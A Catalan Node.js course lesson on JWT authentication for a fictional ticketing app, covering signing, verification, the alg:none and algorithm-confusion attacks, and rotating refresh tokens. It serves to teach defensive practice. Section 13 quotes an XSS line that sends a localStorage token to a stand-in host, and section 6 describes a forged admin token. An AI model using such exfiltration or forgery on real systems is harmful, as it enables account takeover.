Les sessions de la lliçó anterior funcionen i són una gran opció. Però també van deixar dues factures damunt la taula: exigeixen estat compartit (Redis tan bon punt hi hagi més d'un procés) i encaixen malament fora del navegador, just on Escena Viva vol arribar amb una aplicació de validació d'entrades a la porta de l'Auditorio Ribera.

Els JSON Web Tokens inverteixen el plantejament: en comptes de desar l'estat al servidor i donar al client un punter opac, se li lliura informació signada i el servidor es limita a verificar la signatura. Sona ideal, i per això es fan servir tan malament. Veurem què hi ha realment dins d'un JWT, per què signar no és xifrar, quins atacs concrets cal blocar, i com es resol el problema que ningú no pot ignorar: un JWT no es pot revocar.

Contingut

  1. Anatomia d'un JSON Web Token
  2. Descodificar-lo a mà al REPL
  3. HS256 davant de RS256
  4. Reclamacions estàndard i pròpies
  5. jsonwebtoken: signar i verificar
  6. Els atacs alg: none i de confusió d'algorismes
  7. El secret a la configuració
  8. El problema real: no es poden revocar
  9. El patró d'Escena Viva: accés curt + refresc rotatori
  10. Implementació: src/serveis/tokens.js
  11. Rutes d'entrada, refresc i sortida
  12. El middleware autenticar
  13. On NO desar el token al navegador
  14. Errors clàssics, exercicis i conclusió

  1. Anatomia d'un JSON Web Token

Un JWT són tres parts separades per punts: eyJhbGciOiJIUzI1NiJ9 (capçalera) . eyJzdWIiOiI2NGYwMDEiLCJyb2wiOiJhc3Npc3RlbnQifQ (càrrega útil) . 3xR9_kQ2f8m1TnV0pLcYhZaBqWjE7sN4dGuI6oKmXyc (signatura).

La capçalera diu quin algorisme signa el token; la càrrega útil conté les reclamacions (claims), les dades que afirmem; la signatura demostra que les dues parts anteriors no s'han modificat. Les dues primeres estan codificades en base64url, la variant que vam veure al mòdul 3 amb els Buffers: fa servir - i _ en lloc de + i /, i elimina el farciment = perquè el token viatgi net dins d'URLs i capçaleres. I aquí hi ha el punt que cal gravar a foc:

base64url no és xifratge, és codificació. Qualsevol que tingui el token en pot llegir el contingut. Signar no és xifrar.

Signar garanteix integritat i autenticitat (ningú no l'ha modificat, l'ha emès qui diu), no confidencialitat.

  1. Descodificar-lo a mà al REPL

Demostrem-ho sense biblioteques, amb el que sabem del mòdul 3:

// node
const [capcalera, carregaUtil, signatura] = token.split('.');
// Buffer.from amb 'base64url': admes de manera nativa (modul 3).
JSON.parse(Buffer.from(capcalera, 'base64url').toString('utf8'));
// { alg: 'HS256', typ: 'JWT' }
JSON.parse(Buffer.from(carregaUtil, 'base64url').toString('utf8'));
// { sub: '64f001', rol: 'assistent', iat: 1755120000, exp: 1755120900 }
signatura.length; // 43 caracters: 32 bytes d'HMAC-SHA256 en base64url

Sense secret, sense biblioteca, sense permís: acabem de llegir el contingut sencer. Conseqüències pràctiques: mai no posis en un JWT la contrasenya, el hash, un número de targeta ni una nota interna; assumeix que l'usuari veurà el seu rol, el seu sub i el seu exp (no passa res, són seus); i si de debò necessites confidencialitat existeix JWE, encara que gairebé sempre és més simple no posar-hi secrets a dins. El que no pot fer ningú sense el secret és canviar "rol":"assistent" per "rol":"administrador" i produir una signatura vàlida: verify ho rebutja.

  1. HS256 davant de RS256

HS256 (HMAC-SHA256) RS256 (RSA + SHA256)
Tipus Simètric: un secret compartit Asimètric: la clau privada signa, la pública verifica
Qui pot signar Tothom qui pugui verificar Només qui té la privada
Mida de signatura / velocitat 32 bytes, molt ràpida 256 bytes, signatura lenta
Quan fer-lo servir Un sol servei emet i verifica Diversos serveis verifiquen, un emet

Regla de decisió: si el mateix sistema emet i verifica, HS256 és perfecte i més simple. Si necessites que serveis de tercers verifiquin sense poder emetre —microserveis, un proveïdor d'identitat extern—, necessites RS256 (o ES256, amb corbes el·líptiques, més compacte): reparteixes la clau pública sense por perquè no permet falsificar. Escena Viva és avui un únic servei Node, així que HS256, aïllat en un mòdul perquè migrar el dia que hi hagi microserveis sigui canviar un fitxer.

  1. Reclamacions estàndard i pròpies

Reclamació Significat Ús a Escena Viva
sub (subject) A qui identifica el token Id de l'usuari
iat / exp Quan es va emetre i quan caduca (època en segons) Auditoria; 15 minuts d'accés
nbf (not before) No vàlid abans d'aquesta data No el fem servir
iss / aud Qui l'ha emès i per a qui és escena-viva-api / escena-viva-clients
jti (JWT ID) Identificador únic del token Al refresc, per revocar-lo

Les nostres: rol (assistent, organitzador, administrador) i, per als organitzadors, sala. Dues regles sobre el contingut: res sensible, perquè és llegible per qualsevol; i res voluminós, perquè el token viatja en una capçalera a cada petició i pot xocar amb els límits habituals de 8 KB de proxies i servidors. I un advertiment que reprendrem a 08-05: rol dins del token és una fotografia del moment de l'emissió; si un administrador degrada un organitzador, el seu token continuarà dient organitzador fins que caduqui. Per això el token d'accés és curt.

  1. jsonwebtoken: signar i verificar

// npm install jsonwebtoken
const jwt = require('jsonwebtoken');
const token = jwt.sign({ rol: 'assistent' }, configuracio.jwtSecretAcces,
  { subject: '64f001', expiresIn: '15m', issuer: 'escena-viva-api',
    audience: 'escena-viva-clients', algorithm: 'HS256' });
const carrega = jwt.verify(token, configuracio.jwtSecretAcces, {
  algorithms: ['HS256'],  // LA LINIA MES IMPORTANT: llista blanca d'algorismes
  issuer: 'escena-viva-api', audience: 'escena-viva-clients',
  clockTolerance: 5,      // marge per desfasament de rellotges entre maquines
});

verify comprova, en aquest ordre: que la signatura és vàlida, que exp no ha passat, que nbf ja ha arribat, i que iss i aud coincideixen. Si alguna cosa falla llança una excepció; mai no retorna un token invàlid. Els errors que cal distingir: TokenExpiredError (signatura vàlida, exp passat → el client ha de refrescar), JsonWebTokenError (signatura incorrecta, format trencat, iss/aud diferents) i NotBeforeError (nbf en el futur).

  1. Els atacs alg: none i de confusió d'algorismes

Aquesta secció explica per què la llista algorithms no és opcional.

Atac alg: none. L'especificació preveu un algorisme none, pensat per a tokens ja protegits per un altre mitjà. L'atac és descarat: l'atacant envia la capçalera {"alg":"none","typ":"JWT"}, la càrrega {"sub":"64f001","rol":"administrador","exp":9999999999} i la signatura buida. Si la biblioteca fa cas de la capçalera per decidir com verificar, conclou que no hi ha res a verificar i accepta el token: l'atacant s'ha nomenat administrador escrivint JSON. Confusió d'algorismes (RS256 → HS256). Més subtil i més elegant. Suposa que el servidor fa servir RS256 i publica la seva clau pública, com ha de fer. L'atacant canvia la capçalera a "alg":"HS256", signa el token amb HMAC fent servir la clau pública com a secret, i el servidor llegeix alg: HS256, agafa «la seva clau» —la pública, l'única que té— i la fa servir com a secret HMAC. La signatura quadra.

La fallada de fons és la mateixa en tots dos casos: deixar que l'atacant triï l'algorisme de verificació. La defensa és una línia:

// MAI: jwt.verify(token, secret)  <- accepta el que digui la capcalera
jwt.verify(token, secret, { algorithms: ['HS256'] }); // SEMPRE

Les versions modernes de jsonwebtoken ja mitiguen bona part d'això, però fixar algorithms explícitament continua sent obligatori: és la defensa que no depèn de la versió que acabi instal·lada. Regla general: la política de verificació la decideix qui verifica, mai el missatge que arriba.

  1. El secret a la configuració

// src/config/index.js  (fragment afegit al modul 8)
const jwtSecretAcces = process.env.JWT_SECRET_ACCES;
const jwtSecretRefresc = process.env.JWT_SECRET_REFRESC;
// Validacio en arrencar: fallar rapid i sorollosament.
if (entorn === 'produccio') {
  for (const [nom, valor] of Object.entries({ jwtSecretAcces, jwtSecretRefresc })) {
    if (!valor || valor.length < 32) { throw new Error(`${nom} ha de tenir 32+ caracters`); }
  }
  // Secrets diferents: un refresc no ha de colar mai com a token d'acces.
  if (jwtSecretAcces === jwtSecretRefresc) { throw new Error('Han de ser diferents'); }
}

Generar un secret en condicions: node -e "console.log(require('node:crypto').randomBytes(48).toString('base64url'))". 48 bytes aleatoris (384 bits) és de sobres per a HS256; una frase memoritzable no val, perquè l'atac contra un secret HMAC feble és un atac de diccionari fora de línia sobre qualsevol token capturat. Un secret per propòsit, mai compartit, i mai al repositori (el .env és al .gitignore des del mòdul 5). Per rotar es manté una llista [nou, anterior]: se signa amb el primer i es verifica contra tots fins que caduquen els antics. La gestió de secrets en producció es tanca al mòdul 11.

  1. El problema real: no es poden revocar

Un JWT és vàlid fins que caduca, i el servidor no té manera d'opinar-hi. És conseqüència directa de la seva virtut: si no hi ha estat, no hi ha res per esborrar.

Situació Amb sessió Amb JWT pur
La Lucía prem «tancar la sessió» Es destrueix la sessió: fora a l'instant El token continua funcionant; només s'ha esborrat del client
Es degrada un organitzador Rol nou a la petició següent Continua sent organitzador fins que caduqui
Compte compromès o contrasenya canviada S'esborren les seves sessions No hi ha manera d'expulsar-lo: els tokens continuen vius

Les respostes habituals i el seu veredicte honest: una llista negra de tokens revocats funciona, però reintrodueix l'estat que justificava fer servir JWT; tokens molt curts redueixen la finestra sense eliminar-la, i obliguen a reautenticar-se sovint; comprovar a cada petició si l'usuari continua actiu és una consulta per petició… que és exactament el que fa una sessió. La resposta madura de la indústria combina les dues primeres, i és la que adoptem.

  1. El patró d'Escena Viva: accés curt + refresc rotatori

Token d'accés Token de refresc
Durada 15 minuts 30 dies
On viu al client En memòria de JavaScript Galeta HttpOnly+Secure+SameSite=Strict
Com viatja Authorization: Bearer Automàticament, només a /auth/refrescar
Estat al servidor / revocable Cap; no revocable (caduca en 15 min) El seu hash a la base; revocable a l'instant

La idea: el token que es fa servir constantment no és revocable però amb prou feines dura; el token que dura és revocable i gairebé no es fa servir. El dany d'un token d'accés robat es limita a 15 minuts; el de refresc es pot matar a la base. Hi afegim dos refinaments imprescindibles: rotació (cada ús del refresc l'invalida i n'emet un de nou, així un refresc capturat només serveix un cop) i detecció de reutilització (els refrescos d'un mateix inici de sessió formen una família; si n'arriba un ja consumit, o bé l'atacant ha fet servir el robat i el legítim arriba després, o a l'inrevés, i en tots dos casos es revoca la família sencera).

sequenceDiagram
  participant C as Client
  participant A as API
  participant D as MongoDB
  C->>A: POST /auth/entrada
  A->>D: Desar hash(R1), familia F, usat=false
  A-->>C: {tokenAcces (15 min)} + Set-Cookie refresc=R1
  Note over C,A: 15 minuts despres, l'acces caduca
  C->>A: GET /api/comandes (Bearer caducat)
  A-->>C: 401 TOKEN_CADUCAT
  C->>A: POST /auth/refrescar (Cookie: refresc=R1)
  A->>D: hash(R1) valid i sense usar
  A->>D: Marcar R1 usat; desar hash(R2) a la familia F
  A-->>C: {tokenAcces nou} + Set-Cookie refresc=R2
  Note over C,A: Un atacant reutilitza el R1 robat
  C->>A: POST /auth/refrescar (Cookie: refresc=R1)
  A->>D: hash(R1) existeix pero usat=true -> REUTILITZACIO
  A->>D: Revocar TOTA la familia F
  A-->>C: 401: cal iniciar sessio de nou

  1. Implementació: src/serveis/tokens.js

El model TokenRefresc desa usuariId, el hash SHA-256 del token (mai el token: si es filtra la base, els refrescos emmagatzemats són inservibles), un familiaId comú a tota la cadena d'un inici de sessió, els indicadors usat i revocat, l'agentUsuari per a la pantalla de «els meus dispositius», i expiraEl amb índex TTL.

// src/serveis/tokens.js
'use strict';
const jwt = require('jsonwebtoken');
const { randomBytes, randomUUID, createHash } = require('node:crypto');
const { configuracio } = require('../config/index.js');
const { TokenRefresc } = require('../models/token-refresc.js');
const { ErrorDAutenticacio } = require('../errors.js');
const EMISSOR = 'escena-viva-api';
const AUDIENCIA = 'escena-viva-clients';
const VIDA_ACCES = '15m';
const VIDA_REFRESC_MS = 30 * 24 * 60 * 60 * 1000;
const generarHashToken = (token) => createHash('sha256').update(token).digest('hex');

function signarAcces(usuari) {
  return jwt.sign({ rol: usuari.rol, sala: usuari.salaAssignada || undefined },
    configuracio.jwtSecretAcces, { subject: String(usuari.id), expiresIn: VIDA_ACCES,
      issuer: EMISSOR, audience: AUDIENCIA, algorithm: 'HS256' });
}
function verificarAcces(token) {
  try {
    const carrega = jwt.verify(token, configuracio.jwtSecretAcces, {
      algorithms: ['HS256'],  // llista blanca: bloqueja alg:none i confusio
      issuer: EMISSOR, audience: AUDIENCIA, clockTolerance: 5,
    });
    return { id: carrega.sub, rol: carrega.rol, sala: carrega.sala || null };
  } catch (error) {
    // Distingim caducat d'invalid: el client ha de saber si li toca
    // refrescar o tornar a iniciar sessio.
    if (error.name === 'TokenExpiredError') {
      throw new ErrorDAutenticacio("El token d'acces ha caducat", { motiu: 'TOKEN_CADUCAT' });
    }
    throw new ErrorDAutenticacio("Token d'acces invalid", { motiu: 'TOKEN_INVALID' });
  }
}
async function emetreRefresc(usuariId, opcions = {}) {
  const familiaId = opcions.familiaId || randomUUID();
  // Token opac de 256 bits: no cal que sigui un JWT perque sempre es
  // consulta a la base. Menys superficie, menys coses per verificar.
  const token = randomBytes(32).toString('base64url');
  await TokenRefresc.create({ usuariId, familiaId, hashToken: generarHashToken(token),
    agentUsuari: opcions.agentUsuari || null,
    expiraEl: new Date(Date.now() + VIDA_REFRESC_MS) });
  return { token, familiaId };
}
async function revocarFamilia(familiaId) {
  await TokenRefresc.updateMany({ familiaId }, { $set: { revocat: true } });
}
async function rotarRefresc(token, opcions = {}) {
  const registre = await TokenRefresc.findOne({ hashToken: generarHashToken(token) });
  if (!registre || registre.revocat || registre.expiraEl.getTime() < Date.now()) {
    throw new ErrorDAutenticacio('Sessio no valida', { motiu: 'REFRESC_INVALID' });
  }
  if (registre.usat) {
    // REUTILITZACIO: o l'han robat i el fan servir ara, o l'han fet servir
    // ells i arriba el legitim. No es pot saber quin, aixi que cau la familia.
    await revocarFamilia(registre.familiaId);
    throw new ErrorDAutenticacio('Sessio revocada per seguretat', { motiu: 'REFRESC_REUTILITZAT' });
  }
  registre.usat = true;
  await registre.save();
  // El nou hereta la familia: la cadena continua sent rastrejable.
  const nou = await emetreRefresc(registre.usuariId, {
    familiaId: registre.familiaId, agentUsuari: opcions.agentUsuari });
  return { usuariId: String(registre.usuariId), ...nou };
}
module.exports = { signarAcces, verificarAcces, emetreRefresc, rotarRefresc,
  revocarFamilia, generarHashToken, VIDA_REFRESC_MS };

Nota de disseny important: el token de refresc no és un JWT. Com que es consulta a la base a cada ús, ser autocontingut no aporta res; un valor aleatori opac és més curt, més simple i no arrossega cap dels atacs de la secció 6.

  1. Rutes d'entrada, refresc i sortida

// src/controladors/autenticacio.js  (fragment JWT)
const NOM_GALETA = 'ev.refresc';
const opcionsGaleta = () => ({
  httpOnly: true,                                // l'XSS no la llegeix
  secure: configuracio.entorn === 'produccio',   // nomes HTTPS
  sameSite: 'strict',                            // anti CSRF a /refrescar
  path: '/auth/refrescar',                       // no viatja a la resta de l'API
  maxAge: VIDA_REFRESC_MS,
});
async function iniciarSessioJwt(req, res, next) {
  try {
    const usuari = req.usuariAutenticat; // el va deixar la verificacio de 08-02
    const { token } = await emetreRefresc(usuari.id, { agentUsuari: req.get('user-agent') });
    res.cookie(NOM_GALETA, token, opcionsGaleta());
    // El d'acces va al COS: el client el desa en memoria, no a
    // localStorage (seccio 13).
    res.json({ tokenAcces: signarAcces(usuari), expiraEnSegons: 900,
      usuari: { id: usuari.id, nom: usuari.nom, rol: usuari.rol } });
  } catch (error) { next(error); }
}
async function refrescar(req, res, next) {
  try {
    const tokenAntic = req.cookies[NOM_GALETA];
    if (!tokenAntic) {
      throw new ErrorDAutenticacio('No hi ha cap sessio per refrescar', { motiu: 'SENSE_REFRESC' });
    }
    const { usuariId, token } = await rotarRefresc(tokenAntic, { agentUsuari: req.get('user-agent') });
    // Es rellegeix l'usuari: aixi el rol del token nou esta ACTUALITZAT, que
    // es el que acota el problema dels rols congelats.
    const usuari = await Usuari.findById(usuariId).lean();
    if (!usuari) { throw new ErrorDAutenticacio('Sessio no valida'); }
    res.cookie(NOM_GALETA, token, opcionsGaleta());
    res.json({ expiraEnSegons: 900, tokenAcces: signarAcces(
      { id: usuariId, rol: usuari.rol, salaAssignada: usuari.salaAssignada }) });
  } catch (error) { next(error); }
}
async function tancarSessioJwt(req, res, next) {
  try {
    const token = req.cookies[NOM_GALETA];
    if (token) {
      const registre = await TokenRefresc.findOne({ hashToken: generarHashToken(token) });
      // Es revoca la FAMILIA: cau tota la cadena d'aquell inici de sessio.
      if (registre) { await revocarFamilia(registre.familiaId); }
    }
    res.clearCookie(NOM_GALETA, { ...opcionsGaleta(), maxAge: undefined });
    res.status(204).end();
  } catch (error) { next(error); }
}

Sigues honest sobre el que aquesta sortida aconsegueix i el que no: revoca el refresc a l'instant, però el token d'accés que el client ja té continua sent vàlid fins a 15 minuts. Per a operacions crítiques (anul·lar entrades, canviar rols) cal comprovar l'estat de l'usuari a la base, no només la signatura.

POST /auth/refrescar HTTP/1.1
Host: api.escenaviva.test
Cookie: ev.refresc=Qm5x...

HTTP/1.1 200 OK
Set-Cookie: ev.refresc=Zt7p...; HttpOnly; Secure; SameSite=Strict; Path=/auth/refrescar; Max-Age=2592000

{ "tokenAcces": "eyJhbGciOiJIUzI1NiIs...", "expiraEnSegons": 900 }

  1. El middleware autenticar

// src/middleware/autenticar.js
'use strict';
const { verificarAcces } = require('../serveis/tokens.js');
const { ErrorDAutenticacio } = require('../errors.js');

function extreureToken(req) {
  const capcalera = req.get('authorization');
  if (!capcalera) { return null; }
  const [esquema, valor] = capcalera.split(' ');
  // L'esquema es compara sense distingir majuscules (RFC 7235).
  if (!valor || esquema.toLowerCase() !== 'bearer') { return null; }
  return valor.trim();
}
function autenticar(req, res, next) {
  try {
    const token = extreureToken(req);
    if (!token) {
      throw new ErrorDAutenticacio("Falta el token d'acces", { motiu: 'SENSE_TOKEN' });
    }
    req.usuari = verificarAcces(token); // llanca i distingeix caducat d'invalid
    next();
  } catch (error) { next(error); }
}
// Per a rutes publiques que s'enriqueixen si hi ha sessio (per exemple, marcar
// els esdeveniments que l'usuari ja ha comprat).
function autenticarOpcional(req, res, next) {
  const token = extreureToken(req);
  if (!token) { return next(); }
  try {
    req.usuari = verificarAcces(token);
  } catch {
    // Token dolent en ruta publica: s'ignora, no es trenca la navegacio.
  }
  next();
}
module.exports = { autenticar, autenticarOpcional };

Els casos de 401, distingits per motiu perquè el client sàpiga què fer:

motiu Situació Què ha de fer el client
SENSE_TOKEN No hi ha capçalera Authorization Anar a l'entrada
TOKEN_CADUCAT Signatura bona, exp passat Cridar /auth/refrescar i reintentar
TOKEN_INVALID Signatura dolenta, iss/aud diferents, format trencat Anar a l'entrada; possible manipulació
REFRESC_REUTILITZAT Reutilització detectada Entrada obligatòria; avisar l'usuari

Fixa't que req.usuari té la mateixa forma que deixava exigirSessio a 08-03. Per això els controladors i l'autorització de 08-05 funcionen igual amb sessió o amb JWT.

  1. On NO desar el token al navegador

Lloc Accessible per JS Veredicte
localStorage / sessionStorage Sí No per a credencials de llarga vida
Variable en memòria Només el codi mateix Recomanat per al token d'accés
Galeta HttpOnly No Recomanat per al refresc

localStorage és visible per a tot el JavaScript de la pàgina, inclòs el que injecti un XSS i el de qualsevol dependència de tercers. Un script maliciós fa fetch('https://recollidor.test/r?t=' + localStorage.getItem('token')) i s'ha acabat. Amb la galeta HttpOnly no pot: document.cookie no la veu. L'atacant amb XSS encara pot fer peticions des de la pàgina de la víctima —l'XSS és greu sempre—, però no pot exfiltrar la credencial per fer-la servir després des d'un altre lloc i durant 30 dies. Aquesta diferència entre «dany mentre la pestanya és oberta» i «compte compromès indefinidament» és exactament el que comprem. I per això el token d'accés va en memòria: si es perd en recarregar, una crida a /auth/refrescar (amb la galeta automàtica) en retorna un de nou. És el patró «refresc silenciós en arrencar».

Errors Comuns i Consells

  • jwt.decode() en lloc de jwt.verify(). decode no comprova la signatura: només llegeix. Fer-lo servir per autenticar equival a no tenir autenticació. Igual de greu: ometre algorithms a verify, o posar dades sensibles a la càrrega útil creient que va xifrada.
  • Tokens d'accés llarguíssims («7 dies, així no molesto l'usuari»): un token robat serveix una setmana.
  • Desar el refresc a localStorage i perdre tot l'avantatge d'HttpOnly; o no rotar-lo, amb què un refresc robat dóna accés permanent.
  • Confiar en el rol del token per a una acció crítica sense rellegir la base (08-05), o fer servir el mateix secret per a accés i refresc, amb què un refresc podria colar com a token d'accés.
  • No gestionar el 401 al client: sense lògica de refresc i reintent, l'usuari veu fallades aleatòries cada 15 minuts.
  • Posar el token a l'URL (?token=...): queda en logs de proxies, a l'historial i a la capçalera Referer.

Exercicis

Exercici 1: inspeccionar i falsificar

Al REPL de Node: (a) descodifica la càrrega útil del token de la secció 2; (b) construeix un token manipulat canviant "rol":"assistent" per "rol":"administrador", reutilitzant la signatura original; (c) verifica'l amb jwt.verify i explica què passa i per què.

Exercici 2: client amb refresc automàtic

Escriu peticioAutenticada(url, opcions) per al front-end: fa servir el token d'accés desat en memòria; si rep un 401 amb motiu: 'TOKEN_CADUCAT', crida /auth/refrescar, desa el token nou i reintenta una sola vegada; davant de qualsevol altre 401, envia l'usuari a l'entrada.

Exercici 3: sessió d'un sol dispositiu

Escena Viva vol que un assistent només pugui tenir una sessió activa: en iniciar sessió en un dispositiu nou, l'anterior ha de caure. Descriu els canvis a emetreRefresc i explica quin límit té aquesta mesura amb el token d'accés.

Solucions

Exercici 1

const [cap, carrega, signatura] = token.split('.');
const dades = JSON.parse(Buffer.from(carrega, 'base64url').toString('utf8'));
dades.rol = 'administrador';
const tokenFals = `${cap}.${Buffer.from(JSON.stringify(dades)).toString('base64url')}.${signatura}`;
try { jwt.verify(tokenFals, secret, { algorithms: ['HS256'] }); }
catch (error) { console.log(error.name); } // JsonWebTokenError: invalid signature

La signatura es calcula sobre capcalera.carregaUtil; en canviar un sol byte de la càrrega, l'HMAC recalculat ja no coincideix amb la signatura adjunta. Llegir el token és trivial; modificar-lo és impossible sense el secret. Això és exactament el que significa «signar no és xifrar»: no hi ha confidencialitat, sí que hi ha integritat.

Exercici 2

let tokenAcces = null; // en memoria, mai a localStorage
async function peticioAutenticada(url, opcions = {}, reintentat = false) {
  const resposta = await fetch(url, { ...opcions,
    headers: { ...opcions.headers, Authorization: `Bearer ${tokenAcces}` },
    credentials: 'include' }); // necessari perque viatgi la galeta de refresc
  if (resposta.status !== 401) { return resposta; }
  const cos = await resposta.clone().json().catch(() => ({}));
  // Nomes es refresca si el motiu es la caducitat, i nomes un cop: sense
  // aquest limit, un refresc que falli produeix un bucle infinit.
  if (cos?.error?.detalls?.motiu === 'TOKEN_CADUCAT' && !reintentat) {
    const refresc = await fetch('/auth/refrescar', { method: 'POST', credentials: 'include' });
    if (refresc.ok) {
      ({ tokenAcces } = await refresc.json());
      return peticioAutenticada(url, opcions, true);
    }
  }
  tokenAcces = null;
  window.location.href = '/entrada';
  return resposta;
}

En producció convé, a més, encuar les peticions concurrents mentre es refresca, per no llançar cinc refrescos alhora i disparar la detecció de reutilització contra un mateix.

Exercici 3. A emetreRefresc, abans de crear el registre nou, es revoquen tots els de l'usuari: if (opcions.dispositiuUnic) { await TokenRefresc.updateMany({ usuariId, revocat: false }, { $set: { revocat: true } }); }.

El límit: el token d'accés del dispositiu anterior continua sent vàlid fins a 15 minuts, perquè no es pot revocar; l'altre dispositiu conserva l'accés durant aquest marge i només cau en intentar refrescar. Si el requisit és un tall instantani, cal afegir una comprovació a la base per petició —i en aquell moment ja estàs pagant el cost d'una sessió, que és justament la decisió de disseny analitzada a 08-03.

Conclusió

Ja sabem què és de debò un JWT: tres parts en base64url —capçalera, càrrega útil i signatura— amb el contingut llegible per qualsevol, perquè signar garanteix integritat i autenticitat, no confidencialitat. Sabem quan HS256 i quan RS256, quines reclamacions estàndard existeixen i per què el token ha d'anar lleuger i sense secrets. Hem blindat verify amb algorithms explícits, entenent els atacs alg: none i de confusió d'algorismes que aquesta línia neutralitza. I hem afrontat el problema de fons —els JWT no es revoquen— amb la solució madura: token d'accés de 15 minuts en memòria del client, token de refresc de 30 dies en galeta HttpOnly+Secure+SameSite=Strict, desat amb el hash fet, rotat a cada ús i amb detecció de reutilització que tomba la família sencera.

Escena Viva ja sap qui fa cada petició: req.usuari està verificat, amb el seu id i el seu rol, tant per sessió com per token. Falta l'altra meitat de la lliçó 08-01: què pot fer cadascú. Un assistent no ha de llegir les comandes d'un altre; l'organitzador de la Sala Bóveda no ha de publicar esdeveniments del Teatro Almendra; només un administrador canvia rols. A la lliçó següent, Control d'Accés Basat en Rols, construïm la matriu de permisos completa, el middleware exigirRol amb el seu 403 ben diferenciat del 401, i la peça que RBAC no cobreix i que provoca la vulnerabilitat més comuna de les APIs: la propietat del recurs.

Curs de Node.js: De Principiant a Avançat

Mòdul 1: Introducció a Node.js

Mòdul 2: Conceptes Bàsics

Mòdul 3: Sistema de Fitxers i E/S

Mòdul 4: HTTP i Servidors Web

Mòdul 5: NPM i Gestió de Paquets

Mòdul 6: Framework Express.js

Mòdul 7: Bases de Dades i ORMs

Mòdul 8: Autenticació i Autorització

Mòdul 9: Proves i Depuració

Mòdul 10: Temes Avançats

Mòdul 11: Desplegament i DevOps

Mòdul 12: Projectes del Món Real

© Copyright 2026. Tots els drets reservats